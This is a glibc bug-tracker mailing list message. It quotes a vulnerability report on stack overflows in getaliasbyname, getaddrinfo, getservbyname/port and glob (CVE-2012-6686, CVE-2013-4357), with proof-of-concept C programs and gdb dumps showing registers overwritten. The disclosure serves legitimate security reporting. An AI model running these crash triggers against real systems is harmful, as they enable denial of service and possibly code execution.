This is the mail archive of the
glibc-bugs@sourceware.org
mailing list for the glibc project.
[Bug libc/12671] multiple vulnerabilities in netdb.h/aliases.h/glob.h (CVE-2012-6686, CVE-2013-4357)
- From: "xiaoyang at soojoy dot net" <sourceware-bugzilla at sourceware dot org>
- To: glibc-bugs at sourceware dot org
- Date: Wed, 25 Feb 2015 13:08:53 +0000
- Subject: [Bug libc/12671] multiple vulnerabilities in netdb.h/aliases.h/glob.h (CVE-2012-6686, CVE-2013-4357)
- Auto-submitted: auto-generated
- References: <bug-12671-131 at http dot sourceware dot org/bugzilla/>
https://sourceware.org/bugzilla/show_bug.cgi?id=12671
xiaoyang <xiaoyang at soojoy dot net> changed:
What |Removed |Added
----------------------------------------------------------------------------
CC| |xiaoyang at soojoy dot net
--- Comment #8 from xiaoyang <xiaoyang at soojoy dot net> ---
(In reply to Max from comment #0)
> multiple flaws in glibc netdb.h/aliases.h
> author: maksymilian arciemowicz
> contact: max at cxib dot net
>
> Comparing the safety of glibc and libc in NetBSD, we can see problems with
> allocating memory in glibc.
>
> In glibc:
> - getaliasbyname(3)
> - getaliasbyname_r(3)
> - getaddrinfo(3)
> - getservbyname(3)
> - getservbyname_r(3)
> - getservbyport(3)
> - getservbyport_r(3)
> Addtional:
> - glob(3)
>
> --- aliases.h ---
> In aliases.h, we have getaliasbyname(3) affected. What is wrong? Let's see
> nis-alias.c
>
> -nis-alias.c---
> ...
> enum nss_status
> _nss_nis_getaliasbyname_r (const char *name, struct aliasent *alias,
> char *buffer, size_t buflen, int *errnop)
> {
> if (name == NULL)
> {
> *errnop = EINVAL;
> return NSS_STATUS_UNAVAIL;
> }
>
> size_t namlen = strlen (name);
> char name2[namlen + 1];
>
> char *domain;
> if (__builtin_expect (yp_get_default_domain (&domain), 0))
> return NSS_STATUS_UNAVAIL;
> ...
> -nis-alias.c---
>
> The main problem is here
>
> size_t namlen = strlen (name);
> char name2[namlen + 1];
>
> better use malloc.
>
> PoCs:
> -getaliasbyname.c---
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaliasbyname getaliasbyname.c &&
> ./getaliasbyname
> Segmentation fault
>
> (gdb) r 11000000
> The program being debugged has been started already.
> Start it from the beginning? (y or n) y
>
> Starting program: /cxib/C/netdb/flaws/getaliasbyname 11000000
>
> Program received signal SIGSEGV, Segmentation fault.
> _nss_nis_getaliasbyname_r (name=0x7ffff6fdb010 'A' <repeats 200 times>...,
> alias=0x7ffff7ddac80,
> buffer=0x403010 "", buflen=1024, errnop=<value optimized out>) at
> nss_nis/nis-alias.c:220
> 220 if (__builtin_expect (yp_get_default_domain (&domain), 0))
> (gdb) i r
> rax 0x8583b10 140000016
> rbx 0x7fffef4d5010 140737208209424
> rcx 0x8583b00 140000000
> rdx 0xffff 65535
> rsi 0xffffffff 4294967295
> rdi 0x7fffffffe550 140737488348496
> rbp 0x7fffffffe590 0x7fffffffe590
> rsp 0x7ffff7a7aa20 0x7ffff7a7aa20
> r8 0x7fffef4d5010 140737208209424
> r9 0x37 55
> r10 0x7fffffffe2b0 140737488347824
> r11 0x7ffff7adbe40 140737348746816
> r12 0x7ffff7a7aa2f 140737348348463
> r13 0x403010 4206608
> r14 0x7ffff7ddac80 140737351888000
> r15 0x400 1024
> rip 0x7fffef2d1a6a 0x7fffef2d1a6a <_nss_nis_getaliasbyname_r+74>
>
>
> */
> #include <aliases.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
>
> char *name, *proto;
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=proto){
> memset(proto,'A',(atoi(argv[1])-1));
> proto[(atoi(argv[1])-4)]='.';
> proto[(atoi(argv[1])-3)]='c';
> proto[(atoi(argv[1])-2)]='o';
> proto[(atoi(argv[1])-1)]='m';
>
> getaliasbyname(proto);
> }
> }
> -getaliasbyname.c---
>
> -getaliasbyname_r.c---
> /*
> cx@cx64:/cxib/C/netdb/flaws$ ./getaliasbyname_r 22222222
> Segmentation fault
>
> rax 0x69f6be0 111111136
> rbx 0x7ffff1062010 140737237098512
> rcx 0x69f6bc7 111111111
> rdx 0xff80 65408
> rsi 0xffffffff 4294967295
> rdi 0x7fffffffe540 140737488348480
> rbp 0x7fffffffe580 0x7fffffffe580
> rsp 0x7ffff9607940 0x7ffff9607940
> r8 0x7ffff1062010 140737237098512
> r9 0x37 55
> r10 0x7fffffffe2a0 140737488347808
> r11 0x7ffff7adbe40 140737348746816
> r12 0x7ffff960794f 140737377237327
> r13 0x403010 4206608
> r14 0x7fffffffe610 140737488348688
> r15 0x400 1024
> rip 0x7ffff0e5ea6a 0x7ffff0e5ea6a <_nss_nis_getaliasbyname_r+74>
> eflags 0x10202 [ IF RF ]
> cs 0x33 51
> ss 0x2b 43
> ds 0x0 0
> es 0x0 0
> fs 0x0 0
> gs 0x0 0
>
>
>
> */
> #include <aliases.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
>
> char *name, *proto, *buf;
> struct aliasent resultbuf;
> struct aliasent *hst;
> buf=malloc(1025*sizeof(char));
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=proto){
> memset(proto,'A',(atoi(argv[1])-1));
> proto[(atoi(argv[1])-4)]='.';
> proto[(atoi(argv[1])-3)]='c';
> proto[(atoi(argv[1])-2)]='o';
> proto[(atoi(argv[1])-1)]='m';
>
> getaliasbyname_r(proto,&resultbuf,buf,1024,&hst);
> }
> }
> -getaliasbyname_r.c---
> --- aliases.h ---
>
>
> --- netdb.h ---
> In netdb.h we have a lot of vulnerable functions. Using alloca function, in
> nscd lib, generate code execution via long name string.
> Let's see what is wrong:
>
> -nscd_getserv_r---
> ...
> static int
> nscd_getserv_r (const char *crit, size_t critlen, const char *proto,
> request_type type, struct servent *resultbuf,
> char *buf, size_t buflen, struct servent **result)
> {
> int gc_cycle;
> int nretries = 0;
>
> /* If the mapping is available, try to search there instead of
> communicating with the nscd. */
> struct mapped_database *mapped;
> mapped = __nscd_get_map_ref (GETFDSERV, "services", &__serv_map_handle,
> &gc_cycle);
> size_t protolen = proto == NULL ? 0 : strlen (proto);
> size_t keylen = critlen + 1 + protolen + 1;
> char *key = alloca (keylen);
> memcpy (__mempcpy (__mempcpy (key, crit, critlen),
> "/", 1), proto ?: "", protolen + 1);
> ...
> -nscd_getserv_r---
>
> When alloca(3) fail here
>
> char *key = alloca (keylen);
>
> then buffer overflow here
>
> memcpy (__mempcpy (__mempcpy (key, crit, critlen),
> "/", 1), proto ?: "", protolen + 1);
>
> In result:
>
> (gdb) x/i $rip
> => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi)
> (gdb) x/x $rdi
> 0x7ffff7a58fe9: 0x41414141
> (gdb) x/x $r9
> 0x4141414141414141: Cannot access memory at address 0x4141414141414141
>
> See PoCs:
>
> -getaddrinfo.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaddrinfo getaddrinfo.c &&
> ./getaddrinfo 150000000
> Segmentation fault
> (gdb) i r
> rax 0x4141414141414141 4702111234474983745
> rbx 0xffffffffffffffff -1
> rcx 0x10b497 1094807
> rdx 0x8e49180 149197184
> rsi 0x7fffef4b3590 140737208071568
> rdi 0x7ffff7a59000 140737348210688
> rbp 0x7fffffffdd10 0x7fffffffdd10
> rsp 0x7ffff70f0a78 0x7ffff70f0a78
> r8 0x4141414141414141 4702111234474983745
> r9 0x4141414141414141 4702111234474983745
> r10 0x4141414141414141 4702111234474983745
> r11 0x4141414141414141 4702111234474983745
> r12 0x4141414141414141 4702111234474983745
> r13 0x4141414141414141 4702111234474983745
> r14 0x4141414141414141 4702111234474983745
> r15 0x7fffeeb4b010 140737198206992
> rip 0x7ffff7adf560 0x7ffff7adf560 <mempcpy+944>
> eflags 0x10202 [ IF RF ]
> cs 0x33 51
> ss 0x2b 43
>
> */
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
>
> char *name;
>
> name=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=name){
> memset(name,'A',(atoi(argv[1])-1));
> name[(atoi(argv[1])-4)]='.';
> name[(atoi(argv[1])-3)]='c';
> name[(atoi(argv[1])-2)]='o';
> name[(atoi(argv[1])-1)]='m';
> memset(name,'A',(atoi(argv[1])-1));
>
> struct addrinfo hints;
> struct addrinfo *result, *rp;
>
> int sfd, s;
>
>
> memset(&hints, 0, sizeof(struct addrinfo));
> hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */
> hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */
> hints.ai_flags = AI_PASSIVE; /* For wildcard IP address */
> hints.ai_protocol = 0; /* Any protocol */
> hints.ai_canonname = NULL;
> hints.ai_addr = NULL;
> hints.ai_next = NULL;
>
> s = getaddrinfo(NULL, name, &hints, &result);
>
> }
> }
> -getaddrinfo.c-
>
> -getservbyname.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname getservbyname.c &&
> ./getservbyname 150000000
> Segmentation fault
>
> (gdb) x/i $rip
> => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi)
> (gdb) x/x $rdi
> 0x7ffff7a58fe9: 0x41414141
> (gdb) x/x $r9
> 0x4141414141414141: Cannot access memory at address 0x4141414141414141
>
> (gdb) i r
> rax 0x4141414141414141 4702111234474983745
> rbx 0xffffffffffffffff -1
> rcx 0x10b4a7 1094823
> rdx 0x8e49181 149197185
> rsi 0x7fffef4b2d90 140737208069520
> rdi 0x7ffff7a58fe9 140737348210665
> rbp 0x7fffffffe4f0 0x7fffffffe4f0
> rsp 0x7ffff70f1258 0x7ffff70f1258
> r8 0x4141414141414141 4702111234474983745
> r9 0x4141414141414141 4702111234474983745
> r10 0x4141414141414141 4702111234474983745
> r11 0x4141414141414141 4702111234474983745
> r12 0x4141414141414141 4702111234474983745
> r13 0x4141414141414141 4702111234474983745
> r14 0x4141414141414141 4702111234474983745
> r15 0x40089c 4196508
> rip 0x7ffff7adfe59 0x7ffff7adfe59 <memcpy+969>
> eflags 0x10202 [ IF RF ]
> cs 0x33 51
> ss 0x2b 43
> ds 0x0 0
> es 0x0 0
>
> */
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
>
> char *name, *proto;
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=proto){
> memset(proto,'A',(atoi(argv[1])-1));
> proto[(atoi(argv[1])-4)]='.';
> proto[(atoi(argv[1])-3)]='c';
> proto[(atoi(argv[1])-2)]='o';
> proto[(atoi(argv[1])-1)]='m';
>
> getservbyname("cxib.net",proto);
> }
> }
> -getservbyname.c-
>
>
> -getservbyname_r.c-
> /*
>
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname_r getservbyname_r.c &&
> ./getservbyname_r 15000000
> Segmentation fault
>
> gram received signal SIGSEGV, Segmentation fault.
> 0x00007ffff7b79bc2 in nscd_getserv_r (crit=0x7ffff6c0a010 'A' <repeats 200
> times>...,
> critlen=<value optimized out>, proto=0x40082c "tcp", type=<value
> optimized out>,
> resultbuf=<value optimized out>, buf=<value optimized out>, buflen=4096,
> result=0x7fffffffe640) at nscd_getserv_r.c:92
>
>
> */
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
> struct servent resultbuf;
> struct servent *hst;
>
> int ret,buf_len=4096;
> char *name, *proto,*buf;
>
> name=malloc((atoi(argv[1])+1)*sizeof(char));
> if(NULL!=proto){
> memset(name,'A',(atoi(argv[1])-1));
> name[(atoi(argv[1])-4)]='.';
> name[(atoi(argv[1])-3)]='c';
> name[(atoi(argv[1])-2)]='o';
> name[(atoi(argv[1])-1)]='m';
> buf=malloc(buf_len*sizeof(char));
>
> getservbyname_r(name,"tcp", &resultbuf, buf, buf_len, &hst);
> }
> }
> -getservbyname_r.c-
>
> -getservbyport.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport getservbyport.c &&
> ./getservbyport 150000000
> Segmentation fault
> rax 0x4141414141414141 4702111234474983745
> rbx 0xffffffffffffffff -1
> rcx 0x10b4a8 1094824
> rdx 0x8e49181 149197185
> rsi 0x7fffef4b2d10 140737208069392
> rdi 0x7ffff7a58fa4 140737348210596
> rbp 0x7fffffffe530 0x7fffffffe530
> rsp 0x7ffff70f1298 0x7ffff70f1298
> r8 0x4141414141414141 4702111234474983745
> r9 0x4141414141414141 4702111234474983745
> r10 0x4141414141414141 4702111234474983745
> r11 0x4141414141414141 4702111234474983745
> r12 0x4141414141414141 4702111234474983745
> r13 0x4141414141414141 4702111234474983745
> r14 0x4141414141414141 4702111234474983745
> r15 0x7fffffffe55b 140737488348507
> rip 0x7ffff7adfea6 0x7ffff7adfea6 <memcpy+1046>
> eflags 0x10202 [ IF RF ]
> cs 0x33 51
>
> */
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
>
> char *name, *proto;
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=proto){
> memset(proto,'A',(atoi(argv[1])-1));
> proto[(atoi(argv[1])-4)]='.';
> proto[(atoi(argv[1])-3)]='c';
> proto[(atoi(argv[1])-2)]='o';
> proto[(atoi(argv[1])-1)]='m';
>
> getservbyport(80,proto);
> }
> }
> -getservbyport.c-
>
> -getservbyport_r.c-
> /*
> cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport_r getservbyport_r.c &&
> ./getservbyport_r 15000000
> Segmentation fault
>
> rax 0x4141414141414141 4702111234474983745
> rbx 0xffffffffffffffff -1
> rcx 0x10b4a7 1094823
> rdx 0x422df5c8 1110308296
> rsi 0x7fffef4b3190 140737208070544
> rdi 0x7ffff7a58fb4 140737348210612
> rbp 0x7fffffffe500 0x7fffffffe500
> rsp 0x7fffbdc5ae28 0x7fffbdc5ae28
> r8 0x4141414141414141 4702111234474983745
> r9 0x4141414141414141 4702111234474983745
> r10 0x4141414141414141 4702111234474983745
> r11 0x4141414141414141 4702111234474983745
> r12 0x4141414141414141 4702111234474983745
> r13 0x4141414141414141 4702111234474983745
> r14 0x4141414141414141 4702111234474983745
> r15 0x7fffffffe52b 140737488348459
> rip 0x7ffff7adfe9c 0x7ffff7adfe9c <memcpy+1036>
>
> */
> #include <netdb.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <arpa/inet.h>
> #include <string.h>
>
> void main(int argc,char *argv[])
> {
> struct servent resultbuf;
> struct servent *hst;
>
> int ret,buf_len=4096;
> char *name, *proto,*buf;
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> if(NULL!=proto){
> memset(proto,'A',(atoi(argv[1])-1));
> proto[(atoi(argv[1])-4)]='.';
> proto[(atoi(argv[1])-3)]='c';
> proto[(atoi(argv[1])-2)]='o';
> proto[(atoi(argv[1])-1)]='m';
> buf=malloc(buf_len*sizeof(char));
>
> getservbyport_r(80, proto, &resultbuf, buf, buf_len, &hst);
> }
> }
> -getservbyport_r.c-
>
> --- netdb.h ---
>
> in the end glob(3)
>
> -----
> #include <stdlib.h>
> #include <stdio.h>
> #include <string.h>
> #include <netdb.h>
> #include <glob.h>
>
> int main(int argc, char *argv[]){
> char *name, *proto;
> glob_t globbuf;
>
>
> proto=malloc(atoi(argv[1])*sizeof(char));
> memset(proto,'A',(atoi(argv[1])-1));
>
> glob(proto, GLOB_DOOFFS, NULL, &globbuf);
>
> return 0;
> }
> -----
> Starting program: /cxib/C/allo/globo 150000000
>
> Program received signal SIGSEGV, Segmentation fault.
> memcpy () at ../sysdeps/x86_64/memcpy.S:516
> 516 ../sysdeps/x86_64/memcpy.S: No such file or directory.
> in ../sysdeps/x86_64/memcpy.S
> (gdb) i r
> rax 0x4141414141414141 4702111234474983745
> rbx 0x7ffff70f0ce0 140737338346720
> rcx 0x10b49c 1094812
> rdx 0x8e49180 149197184
> rsi 0x7fffef4b3310 140737208070928
> rdi 0x7ffff7a58fe2 140737348210658
> rbp 0x7fffffffe3a0 0x7fffffffe3a0
> rsp 0x7ffff70f0cd8 0x7ffff70f0cd8
> r8 0x4141414141414141 4702111234474983745
> r9 0x4141414141414141 4702111234474983745
> r10 0x4141414141414141 4702111234474983745
> r11 0x4141414141414141 4702111234474983745
> r12 0x4141414141414141 4702111234474983745
> r13 0x4141414141414141 4702111234474983745
> r14 0x4141414141414141 4702111234474983745
> r15 0x7fffffffe630 140737488348720
> rip 0x7ffff7adfe5e 0x7ffff7adfe5e <memcpy+974>
> eflags 0x10206 [ PF IF RF ]
> cs 0x33 51
> ss 0x2b 43
> ds 0x0 0
> es 0x0 0
> fs 0x0 0
> gs 0x0 0
> (gdb) bt
> #0 memcpy () at ../sysdeps/x86_64/memcpy.S:516
> #1 0x00007ffff7b05a7d in glob_in_dir (pattern=<value optimized out>,
> directory=<value optimized out>,
> flags=<value optimized out>, errfunc=<value optimized out>,
> pglob=0x7fffffffe630) at ../posix/glob.c:1321
> #2 0x00007ffff7b0710e in glob (pattern=0x7fffeeb4b010 'A' <repeats 200
> times>..., flags=8,
> errfunc=<value optimized out>, pglob=0x7fffffffe630) at
> ../posix/glob.c:1008
> #3 0x000000000040067b in main ()
>
> Best
--
You are receiving this mail because:
You are on the CC list for the bug.